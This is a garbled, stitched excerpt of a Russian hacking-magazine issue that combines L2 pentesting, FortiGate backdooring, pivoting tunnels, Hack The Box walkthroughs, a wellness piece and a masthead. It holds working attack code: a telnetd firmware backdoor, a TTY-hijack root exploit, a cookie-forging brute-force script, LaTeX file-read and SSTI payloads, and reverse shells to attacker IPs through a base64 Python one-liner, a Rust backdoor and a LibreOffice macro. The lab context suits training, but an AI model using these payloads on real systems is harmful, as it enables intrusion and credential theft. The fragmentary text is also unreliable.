однако в большинстве случаев сетевые девайсы настроены так, что рассылка
DP происходит абсолютно во все порты коммутатора, а это снижает уровень
сетевой безопасности. Атакующий, получив эти кадры, сможет узнать чувс-
твительную информацию об оборудовании вроде версии прошивки, модели
устройства, типа адресации.
Îáíàðóæåíèå 802.1Q-òåãîâ
802.1Q — стандарт, имеющий отношение к тегированию коммутационных
фреймов. В контексте коммутатора при разбиении сети VLAN на сегменты
используются два типа портов:
• Access — порт в режиме доступа, обычно он настраивается на стороне
конечных станций, чтобы они имели первичный доступ к сети;
• Trunk — при этом режиме происходит инкапсуляция Ethernet-кадров.
Так что не будет лишним поискать на порте фреймы 802.1Q, вдруг тебе удас-
тся прыгнуть в остальные VLAN-сегменты. Такие мисконфиги встречаются
на коммутаторах, и ты случайно можешь оказаться на транке. Конечно,
это редкое явление, но я не мог не упомянуть такой вектор.
HIVE
LLMNR/NBT-NS Poisoning
Отравление LLMNR/NBT-NS — одна из самых распространенных сетевых
атак. Она позволяет получить учетные данные пользователя Windows
в зашифрованном виде, а также открывает дорогу для проведения атак NTLM
Relay. Чаще всего для отравления запросов LLMNR/NBT-NS используют ути-
литу Responder.
Для такой атаки нужен именно L2-доступ в целевой сети, поскольку зап-
росы данных протоколов распространяются только в рамках широковеща-
тельных доменов. Либо атакующий может просто воткнуть патч-корд в розет-
ку, либо в контексте сценария пивотинга у него есть L2-туннель.
Протокол LLMNR использует мультикастовый адрес 224.0.0.252, в NBNS
применяется широковещательный трафик, проходящий по UDP-порту 137,
а MDNS работает по адресу 224.0.0.251.
Инструмент Above позволит обнаружить в трафике эти протоколы. Если
такое произойдет, то атакующий сможет воспользоваться вектором атаки
LLMNR/NBT-NS Spoong и перехватит учетные данные.
ARP/NBNS-ðàçâåäêà
При запуске ARP-сканирования ты должен иметь в виду, что можешь оказать
большую нагрузку на оборудование, да и система Storm Control подаст сиг-
нал тревоги, если ты превысишь порог допустимого широковещательного
трафика. Когда запускаешь инструмент, проводящий ARP-сканирование,
обязательно настрой его скорость, то есть число пакетов в секунду.
Распространенные инструменты для L2-сканирования — это netdiscover
и nbtscan. Рекомендую внимательно изучить все настройки и стараться
не запускать эти программы в режиме «Халк крушить».
Для netdiscover в качестве первичной разведки хорошо выбирать Passive
ARP: инструмент в автономном режиме будет анализировать все ARP-кадры
вокруг себя и выстраивать список хостов.
MITM
Ìîùíîñòü æåëåçà
Позаботься о мощности своего железа, оно должно быть готово к тому, что
через него пойдет трафик нескольких десятков легитимных хостов. Это каса-
ется и твоего интерфейса. Если ты собираешься спуфить хосты с гигабитным
интерфейсом, а у тебя коннект 100 Мбайт/с, то скорость сети серьезно пос-
традает и может произойти коллапс. Пользователи быстро заметят, что сеть
стала зависать, и позовут сисадминов, а те (если не зря получают зарплату)
поймут, в чем дело. Так пентест перестанет быть секретом, и придется крас-
неть перед админами.
Вот рекомендованные параметры железа:
• центральный процессор от четырех ядер;
• оперативная память от 8 Гбайт;
• сетевой интерфейс с полным дуплексом, 1 Гбит/с и выше. Хорошо, если
выйдет подключить Ethernet-адаптер через высокоскоростной интерфейс
Thunderbolt 3/4.
Ðàçðåøåíèå ìàðøðóòèçàöèè
Главное правило MITM — разрешить маршрутизацию трафика со своей сто-
роны:
Иначе при атаке легитимный трафик будет упираться в твой хост и дальше он
не пройдет, а это DoS, то есть видимый признак атаки. И снова пентест
перестанет быть секретом.
ICMP Redirect
Во время MITM-атаки твоя машина может генерировать пакеты ICMP
Redirect, что встревожит IDS/IPS, поэтому обязательно выключай на своей
стороне сообщения ICMP Redirect в sysctl.conf.
Êîíôèãóðàöèÿ NAT
Одно из главных правил MITM — настройка NAT. Обычно атакующие обходят-
ся одной командой:
ÒÀÁËÈÖÀ ÂÅÊÒÎÐÎÂ
Атак канального уровня, конечно же, гораздо больше, но я выбрал самые тол-
ковые и эффективные векторы, от которых будет польза. Никаких DoS и про-
чих сомнительных вещей.
ÂÛÂÎÄÛ
В этой статье я изложил основные моменты при пентесте Ethernet. Этой тех-
нике уже несколько десятков лет, но она по-прежнему применяется на пен-
тестах при внутреннем анализе защищенности. Надеюсь, что этой статьей я
смогу подарить несколько новых техник для пентестеров, а администраторы
сетей повысят осведомленность.
ВЗЛОМ
ÃÎÒÎÂÈÌ ÑÒÅÍÄ
Для ресерча была выбрана версия FortiGate VM64 v6.4.5 build1828 (GA).
Стенд разворачиваю на VMware ESXI, а образы маршрутизатора должны
иметь расширения .out, .ovf, .zip.
После распаковки архива мы получим следующие файлы.
Здесь
• config system ntp — команда для входа в режим конфигурирования
NTP;
• set ntpsync disable — команда для отключения синхронизации
с NTP-сервером;
• set type custom — команда для установки NTP-сервера, который ука-
зывается вручную.
ÓÄÀËÅÍÍÎÅ ÏÎÄÊËÞ×ÅÍÈÅ
Настраивать SSH, HTTP, HTTPS, Telnet будем в CLI FortiGate. Для удаленного
подключения нужно настроить интерфейс, который мы оставили включенным:
Здесь
• config system interface — команда для входа в режим конфигура-
ции интерфейса;
• edit port1 — команда для конфигурации определенного интерфейса;
• port1 — условное обозначение интерфейса;
• set mode static — команда для установки статического адреса. Чтобы
настроить DHCP, нужно вместо static написать DHCP, и тогда IP-адреса
будут установлены автоматически;
• set role lan — команда для установления роли и интерфейса.
В FortiGate есть четыре роли:
• роль lan означает, что интерфейс используется для подключения
к локальной сети;
• роль wan означает, что интерфейс используется для подключения
к интернету;
• роль dmz означает, что интерфейс используется для подключения
к серверам;
• роль undefined означает, что интерфейс не имеет конкретной роли;
• set allowaccess http https telnet ssh ping — команда
для доступа к управлению с использованием https, http, telnet, ssh,
ping;
• set ip 192.168.0.217/24 — команда для установки IP-адреса и маски
подсети;
• show — команда, которая показывает все настройки интерфейса;
• end — команда для завершения настройки.
Здесь
• config router static — команда для конфигурации статических мар-
шрутов;
• edit 1 — команда настройки нумерации с неиспользуемого номера;
• set gateway 192.168.0.255 — команда для установки адреса шлюза;
• set device port1 — команда для установки интерфейса;
• set dst 0.0.0.0 0.0.0.0 — команда для установки места наз-
начения;
• set status enable — команда для включения статической маршру-
тизации;
• end — команда для завершения настройки.
Команда get router info routing-table all нужна для проверки нас-
тройки статической маршрутизации:
Этот вывод говорит о том, что для всех устройств, находящихся в сети, шлюз
по умолчанию будет 192.168.0.255, а значит, настройка статической мар-
шрутизации прошла успешно.
После этого подключаемся к веб-интерфейсу через браузер по адресу
192.168.0.217. Логин и пароль используй такой же, как и при подключении
к командной строке.
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ВЗЛАМЫВАЕМ FORTIGATE
И УСТАНАВЛИВАЕМ БЭКДОР
ÏÎËÓ×ÀÅÌ ÁÝÊÄÎÐ
Здесь
• sudo modprobe nbd max_part=16 — команда подготовки для мон-
тирования статического VDI-образа;
• sudo mkdir /mnt/fortios — команда для создания директории /mnt/
fortios;
• sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk —
команда для экспорта образа диска QEMU, с использованием протокола
NBD:
• -r — ключ означает экспорт диска только для чтения;
• -c — ключ означает подключение файла c указанным именем к папке
/dev устройства NBD;
• sudo mount /dev/nbd1p1 /mnt/fortios — команда для монтирова-
ния диска.
gzip -d rootfs.gz
sudo cpio -idv < rootfs
Нас интересует архив bin.tar.xz, потому что в нем содержатся бинари init
и smartctl:
• /bin/init — программа, которая запускает систему и управляет ею;
• /bin/smartctl — инструмент командной строки для управления сис-
темой SMART, встроенной в большинство жестких дисков ATA/SATA
и SCSI/SAS и твердотельных накопителей.
Также надо убрать звездочку напротив пункта sync для отключения синхро-
низации с файловой системой.
ÓÑÒÀÍÀÂËÈÂÀÅÌ ÁÝÊÄÎÐ
Øàã 1
Копируем busybox в каталог /bin и даем ему все права:
Øàã 2
Удаляем символическую ссылку sh (sh->/bin/sysctl) и добавляем новую:
sudo rm -rf sh
sudo ln -s /bin/busybox sh
Øàã 3
Cоздаем бэкдор, который открывает подключение по Telnet:
# include <stdio.h>
void shell() {
system("/bin/busybox ls", 0, 0);
system("/bin/busybox id", 0, 0);
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /
bin/sh -b 0.0.0.0 -p 22", 0, 0);
return;
}
Øàã 4
Теперь удаляем smartctl и заменяем его своим бинарным файлом:
sudo rm ./bin/smartctl
sudo cp backdoor ./bin/smartctl
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ВЗЛАМЫВАЕМ FORTIGATE
И УСТАНАВЛИВАЕМ БЭКДОР
Здесь
• -r — ключ для поиска строки во всех файлах в каждом каталоге рекур-
сивно, следуя символическим ссылкам;
• -n — ключ для поиска каждой строки вывода с номером строки;
• -l — ключ для вывода имени каждого входного файла, в котором содер-
жится строка.
Теперь найдем строку, которая говорит нам о том, что система останов-
лена, — The system is halted. Такое сообщение выводится, если провер-
ка контрольной суммы не пройдена. Находим строку и по перекрестным
ссылкам отыскиваем этот участок кода, который выполняет перезагрузку сис-
темы.
filename = 'aiqu0oZi'
key = [0x4E,0x47,0x17,0x12,0x44,0x1C,0x2F,0x04]
for i in range(len(filename)):
print(chr(ord(filename[i])^key[i]), end = '')
/.fgtsum
Этот файл можно найти в корневом каталоге, поэтому очевидно, что рассмот-
ренная нами функция использует файл для реализации некоторой проверки
системы.
Чтобы обойти эту проверку, нужно либо заменить в функции do_halt()
первую инструкцию инструкцией ret, чтобы функция ничего не выводила,
либо предотвратить перезагрузку при неудачной проверке. Я выбрал второй
вариант, поэтому в бинарном файле init исправил JZ на JNZ в переходе
на функцию do_halt().
ÏÐÎÂÅÐÊÀ ÁÝÊÄÎÐÀ
telnet XXX.XXX.XXX.XXX 22
ÂÛÂÎÄÛ
SIGMA
DEEPBLUECLI
.\DeepBlue.ps1 .\evtx\password-spray.evtx
CHAINSAW
Chainsaw — результаты
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HAYABUSA
Видно таймлайн для событий и сами события. Заглянем внутрь любого из них
и увидим скомпрометированный хост, EID, MitreTags и MitreTactics — что очень
удобно, к тому же по всем полям можно искать в Timesketch.
Hayabusa_dir\rules\config\pivot_keywords.txt
TAKAJO
ÂÛÂÎÄÛ
инструмент.
TUN VS TAP
При работе с целевой сетью через TAP будь осторожен с получением адреса
на TAP-интерфейс с помощью DHCP. По DHCP может прилететь новая
информация о шлюзе по умолчанию, что иногда приводит к разрыву сетевой
связности. Как только ты запустишь dhclient, второй командой удаляй новый
маршрут по умолчанию:
GRE (L3)
Лабораторная сеть
sudo ip link add name gretunnel type gre local 218.123.134.80 remote
128.78.23.45
sudo ip addr add 10.10.10.1/24 dev gretunnel
sudo ip link set dev gretunnel up
NightmareBorder# conf t
NightmareBorder(config)# interface tunnel 10
NightmareBorder(config-if)# tunnel source 128.78.23.45
NightmareBorder(config-if)# tunnel destination 218.123.134.80
NightmareBorder(config-if)# ip address 10.10.10.2 255.255.255.0
NightmareBorder(config-if)# no shutdown
NightmareBorder(config-if)# end
NightmareBorder# write mem
IPIP (L3)
IPIP (IP in IP) — туннель сетевого уровня L3, он очень похож на протокол GRE,
но сама инкапсуляция происходит во второй IP-заголовок. Такой туннель
прост в эксплуатации и работает в режиме «IP over IP». С помощью IPIP ата-
кующий также может построить L3-туннель сквозь взломанный хост. В сце-
нарии с IPIP целью будет взломанный сервер на Debian. Предположим, что
на той же машине есть второй интерфейс с адресацией 192.168.252.0/24
(Warehouse).
Схема сети
sudo ip link add name ipiptunnel type ipip local 128.78.23.45 remote
218.123.134.80
sudo ip addr add 10.10.10.2/24 dev ipiptunnel
sudo ip link set dev ipiptunnel up
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ИСПОЛЬЗУЕМ ПРОВАЙДЕРСКИЕ
ПРОТОКОЛЫ ДЛЯ ПИВОТИНГА
GRETAP (L2)
sudo ip link add name thegretap type gretap local 10.10.10.1 remote
10.10.220.3
sudo ip link set dev thegretap up
sudo ip link add name thegretap type gretap local 10.10.220.3 remote
10.10.10.1
sudo ip link set dev thegretap up
Трафик на GRETAP-интерфейсе
VXLAN (L2)
VXLAN-туннелирование
EOIP (L2)
ÂÛÂÎÄÛ
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в файл /etc/hosts:
10.10.11.226 download.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Заглянем на сайт.
ÒÎ×ÊÀ ÂÕÎÄÀ
Страница /les/upload
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ПЕРЕХВАТЫВАЕМ ТЕРМИНАЛ
СУПЕРПОЛЬЗОВАТЕЛЯ ПРИ АТАКЕ
НА ХОСТ
ÒÎ×ÊÀ ÎÏÎÐÛ
Path traversal
Страница /files/download/ отдает нам файл при скачивании. Стоит про-
верить, нет ли здесь уязвимости обхода каталога. Сделать это можно, зап-
росив файл package.json, характерный для программ на Node.js. Я исполь-
зую Burp Intruder и словарь с разными вариантами указания пути к файлу.
Результат перебора
Получаем ключ для подписи куки (строка 39), а еще видим использование
SQL-запросов (строка 59).
Cookie
Имея ключ, мы можем манипулировать значениями куки, создавая и под-
писывая их для любого пользователя. В этом нам поможет утилита cookie-
monster. Установим ее.
./cookie-monster.js -e -f cookie.txt -k
8929874489719802418902487651347865819634518936754 -n download_session
{
"flashes":{
"info":[],
"error":[],
"success":[""]
},
"user":{
"username":{
"contains": "WESLEY"
},
"password":{
"startsWith":""
}
}
}
Àâòîìàòèçàöèÿ
Смысл в том, чтобы поочередно перебирать символы хеша пароля. Как толь-
ко реальный хеш будет начинаться с указанной последовательности, мы
получим отличный от остальных случаев ответ и начнем перебирать сле-
дующий символ хеша.
import subprocess
import json
import requests
passwd = ""
chars = "0123456789abcdef"
tmp_pass = ""
def getCookie(password):
data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{
"username":{"contains": "WESLEY"},"password":{"startsWith":password}}
}
with open("cookie.txt","w") as f:
f.write(json.dumps(data))
out = subprocess.check_output(["./cookie-monster/bin/
cookie-monster.js", "-e", "-f", "cookie.txt", "-k",
"8929874489719802418902487651347865819634518936754", "-n",
"download_session"]).decode()
index1 = out.index("download_session=") + len("download_session=")
out = out[index1:]
sess = out[:out.index("\x1b")]
index2 = out.index("download_session.sig=") + len(
"download_session.sig=")
out = out[index2:]
sig = out[:out.index("\x1b")]
return sess, sig
for i in range(32):
for c in chars:
tmp_pass = passwd + c
print("Hash: " + tmp_pass, end='\r')
Флаг пользователя
ÏÐÎÄÂÈÆÅÍÈÅ
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Список процессов
Прослушиваемые порты
Пользователи с консолью
Логи pspy64
\du
cp /bin/bash /tmp/psql_bash
chmod 4777 /tmp/psql_bash
TTY hijacking
Увы, этому пользователю ничего интересного не доступно. Тогда вернемся
к способу входа через su -l. Здесь можно попробовать попасть в сессию
пользователя, от имени которого выполняется команда su. Эта техника
называется TTY hijacking. Хотя sudo и su в данном случае меняют UID
исполняемого процесса на UID пользователя без полномочий, терминал
по-прежнему остается терминалом пользователя root и, как оказалось, дос-
тупен непривилегированному пользователю.
Текущий терминал программы всегда доступен через файл /dev/tty. Мы
можем его открыть от имени пользователя без полномочий, а затем исполь-
зовать сискол ioctl для подделки пользовательского ввода. Это позволит
нам вводить команды в чужой терминал. Для эксплуатации этой техники мож-
но использовать следующий эксплоит:
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod
4777 /tmp/root_bash'\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}
Флаг рута
Машина захвачена!
ВЗЛОМ
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.217 topology.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
Находим еще два поддомена: dev и stats. Поэтому обновляем запись в фай-
ле /etc/hosts и просматриваем новые сайты.
ÒÎ×ÊÀ ÎÏÎÐÛ
\input{/etc/passwd}
Ответ сервера
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
Итак, мы узнали, что на сервере есть фильтр, а у нас есть возможность его
обходить. Идем дальше и используем другую нагрузку для чтения всего фай-
ла.
$\lstinputlisting{/etc/passwd}$
$\lstinputlisting{/var/www/dev/.htpasswd}$
Справка hashcat
Флаг пользователя
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Логи pspy64
/bin/bash -p
Флаг рута
Машина захвачена!
ВЗЛОМ
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.218 sandworm.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Страница шифрования
Ключ PGP
ÒÎ×ÊÀ ÂÕÎÄÀ
Баннер Powered by
pgp --gen-key
name1
<email@mail.comp>
Генерирование PGP-ключа
Подпись сообщения
Проверка подписи
ÒÎ×ÊÀ ÎÏÎÐÛ
SSTI
Сгенерируем новый ключ и вместо имени введем шаблон {{7*7}}.
{{self.__init__.__globals__.__builtins__.__import__('os').popen(
'COMMAND').read()}}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen(
'bash -c "echo
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY
2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIj
EwLjEwLjE0LjM3Iiw0MzIxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHM
uZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5z
cGF3bigic2giKSc=
| base64 -d | bash" ').read() }}
Создание ключа
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ВЫХОДИМ ИЗ ПЕСОЧНИЦЫ
FIREJAIL И ПОВЫШАЕМ
ПРИВИЛЕГИИ В LINUX
ÏÐÎÄÂÈÆÅÍÈÅ
Sandbox Escape
Мы получили какой-то шелл, вероятно урезанный, потому что не выполняют-
ся, например, команды curl, wget, rm и cp. Возможно, мы попали в песоч-
ницу, что подтверждаем, просмотрев каталог ~/.config. Там мы находим
другой каталог — firejail.
Флаг пользователя
Ïîëüçîâàòåëü atlas
Теперь у нас есть полноценная оболочка и нам нужно собрать информацию.
Я, как обычно, использую для этого скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Приложения с SUID-битом
Дерево процессов
Так как cron запускает какие-то приложения, посмотрим, что запущено прямо
сейчас, при помощи утилиты pspy64. В ее выводе находим запуск найденной
команды.
Так как запускается файл из проекта tipnet, просмотрим исходный код при-
ложения /opt/tipnet/src/main.rs.
Давай запишем в код бэкдор, чтобы при каждом вызове функции log мы
получали реверс-шелл на порт 4321. Код реверс-шелла на Rust доступен
на GitHub.
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
let fd = sock.as_raw_fd();
Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
cargo build
Сборка проекта
Запуск эксплоита
Флаг рута
Машина захвачена!
ВЗЛОМ
А поможет нам в этом тренировочная машина Gofer с площадки Hack The Box.
Уровень ее — сложный.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.225 gofer.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
enum4linux -a gofer.htb
ÒÎ×ÊÀ ÂÕÎÄÀ
smbclient //gofer.htb/shares
В Burp Repeater легко это сделать, достаточно выбрать нужный пункт в кон-
текстном меню.
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
SSRF
Так как мы должны передать URL, можно предположить, что сервис выполнит
запрос на него. Для теста запустим веб-сервер:
python3 -m http.server 80
Логи веб-сервера
Список пользователей
Теперь нам нужен адрес, который поможет обойти фильтрацию. Здесь нас
выручит Burp Intruder и список для обхода SSRF. Также на вкладе Settings
установим опцию Extract.
Результат перебора
Gopher mail
Через найденную SSRF попробуем отправить сообщение со ссылкой целево-
му пользователю. Берем следующее сообщение и кодируем все символы \r\
n как %0d%0a.
gopher://0x7f000001:25/xHELO
MAIL FROM:<jdavis@gofer.htb>
RCPT TO:<jhudson@gofer.htb>
DATA
From: <jdavis@gofer.htb>
To: <jhudson@gofer.htb>
Subject: Link
http://10.10.16.23/file.odt
.
QUIT
Исходное сообщение
Логи веб-сервера
Office phishing
Открываем LibreOffice и в меню выбираем Tools → Macros → Organize Macros
→ Basic, где находим текущий документ.
Приложение LibreOffice
Sub Main
Shell("bash -c 'bash -i >& /dev/tcp/10.10.16.23/4321 0>&1'")
End Sub
Флаг пользователя
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÏÐÎÄÂÈÆÅÍÈÅ
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Опция tcpdump
Linux capabilities
Логи pspy64
Видимо, задумка автора машины была в том, чтобы решающий записал тра-
фик и нашел этот запрос в дампе. Но обнаружился и другой путь для получе-
ния логина и пароля. С полученными учетными данными авторизуемся в сис-
теме.
Флаг пользователя
scp tbuckley@gofer.htb:/usr/local/bin/notes ./
Теперь при создании заметки будет выделен блок памяти, который только что
был освобожден, но на него будет указывать не только переменная ptr, отве-
чающая за заметку, но и переменная input, отвечающая за пользователя!
Заполняем заметку рандомными 24 символами, после которых записы-
ваем строку admin. Тогда переменная input+24 будет содержать роль admin.
Теперь при выборе последнего пункта мы пройдем проверку на администра-
тора. Этого можно было бы избежать, если бы переменной input присваива-
лось значение 0 в ветке 3. Эта уязвимость носит название use after free, так
как мы используем указатель на блок памяти после освобождения и переза-
писи.
Эксплуатация UAF
Флаг рута
Машина захвачена!
GEEK
Если у тебя реально едет крыша, то бросай читать эту статью и записывайся
на прием к врачу. Признаки, которые нельзя игнорировать:
• приступы агрессии;
• панические атаки;
• потеря интереса к жизни, к людям, к своим увлечениям;
• нежелание делать базовые действия, например принимать душ;
• склонность причинять себе вред, навязчивые мысли об этом;
• частые кошмарные сновидения или бессонница;
• постоянная усталость, сонливость;
• проблемы с аппетитом (переедание либо, наоборот, отсутствие аппе-
тита);
• фобии, навязчивые привычки, которые тебе мешают;
• необъяснимые смены настроения;
• неуместные и спонтанные эмоциональные реакции;
• тревожность, отчаяние, безысходность, суицидальные мысли.
ÐÅÆÈÌ È ÎÒÄÛÕ
ÊÀ×ÅÑÒÂÅÍÍÛÉ ÑÎÍ
Идеально, если, когда ты спишь, в комнате будет полная темнота. Да, даже
без огоньков роутера и отсветов неоновой вывески «Пиво» от ларька
под окном. Понять, что такое полная темнота, легко: твои открытые глаза
видят то же самое, что и закрытые, — то есть ничего, HEX 000000.
А поскольку в нашей цивилизации ночь идет в комплекте с улицей,
фонарем и круглосуточной аптекой, тебе пригодятся блэкаут-шторы, а для
стопроцентной темноты — маска для сна.
Да, пару-тройку дней придется привыкать ко сну в маске, зато потом привыч-
ка заработает в обратную сторону и ты начнешь быстро засыпать, едва надев
маску. Выбирай маску с углублением для глаз, она комфортнее всего и почти
не мешает.
Особенно маска поможет тем, кто еще не наладил свой режим, так что
большая часть сна пока что приходится на световой день.
Не забывай и о том, что спать лучше в тихой и хорошо проветренной ком-
нате, оптимальная температура воздуха для сна — не выше 23 °С.
Перед сном лучше всего отказаться от голубых экранов, яркого света
и возбуждающих мозг игр и сериалов, посиделок с алкоголем, а также нап-
ряженной работы. Гораздо лучше подойдет чтение, прогулка и спокойные
хобби. При этом следи, чтобы свет был неяркий и в желтой части спектра.
Итак, что мешает качественно спать:
• свет;
• курение;
• алкоголь;
• кофеин;
• некоторые лекарства;
• переедание;
• шум;
• проблемы с позвоночником;
• стресс;
• нарушения режима;
• игры и фильмы перед сном;
• активные занятия перед сном.
Час от часу не легче! Режим, спорт, только про полезное питание не хватало.
Все верно, дальше будет и про питание, от него никуда не деться в этом раз-
говоре.
Движение настолько необходимо нашему телу и разуму, что, чтобы
перечислить все процессы, которые ухудшаются без движения, — не хватит
целой статьи. Увы, движение пальцев по трекпаду недостаточно нагружает
мышцы и не нормализует лимфоток.
Я не предлагаю заниматься скандинавской ходьбой в парке, да и все рав-
но тебя пока не возьмут в программу «Активное долголетие». Зато сделать
десяток приседаний или прыжков пару раз в день сможет любой. Если ты сов-
сем не спортивный человек, начни с минимального действия, пусть оно будет
казаться даже слишком простым для тебя, но именно так активность войдет
в привычку. А дальше постепенно захочется большего.
Для борьбы со стрессом, депрессией и тревожностью особенно полезны
силовые тренировки — они помогают отработать накопившийся стресс
и поощряют нас выделением эндорфинов, а также улучшают сон.
ÅÄÀ
Ты — то, что ты ешь! Так что если ты не хочешь быть хрупким, липким и с
газами, то забей на чипсы, сладости и газировку. Твой настоящий бро — нут-
ритивно плотные продукты, то есть содержащие как можно больше микронут-
риентов — витаминов, минералов и аминокислот — на каждую калорию.
И если в этот момент у тебя в голове появились печальные образы
овсянки и куриной грудки из привычного ПП (правильного питания), спешу
тебя обрадовать. Грудка не только сухая и низкокалорийная, но и не слишком
удовлетворяющая для твоего организма.
Продолжение статьи →
GEEK ← НАЧАЛО СТАТЬИ
Эта тема не так проста, потому что если погружаться в нее, то начинают
играть роль усвояемость, биодоступность, совместимость и даже несов-
местимость нутриентов. Но в твоих силах исключить однозначно бесполезные
и вредные продукты и добавить полезные.
Итак, продукты, богатые нутриентами:
• внутренние органы животных, птичьи потроха;
• травы и специи;
• зелень;
• овощи;
• семена и орехи;
• рыба и морепродукты;
• мясо и птица;
• яйца;
• масла;
• бобовые;
• фрукты.
ÂÎÄÀ
ÊÎÍÒÐÀÑÒÍÛÉ ÄÓØ
ÌÀÑÑÀÆ
ÂÈÒÀÌÈÍÛ
Второй витамин для ментального здоровья — это магний. Когда его недос-
таточно, это провоцирует все тот же знакомый список проблем: стресс, апа-
тия, депрессия, тревожность. Не говоря уже о проблемах с сердцем, мыш-
цами и костями.
Магний можно получить из специальных витаминных добавок либо
из пищи, такой как:
• темный шоколад;
• авокадо;
• орехи и семена;
• цельнозерновые и бобовые культуры;
• тофу;
• жирная рыба;
• листовая зелень (кейл, шпинат, салат, микрозелень);
• бананы.
ÂÛÂÎÄÛ
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
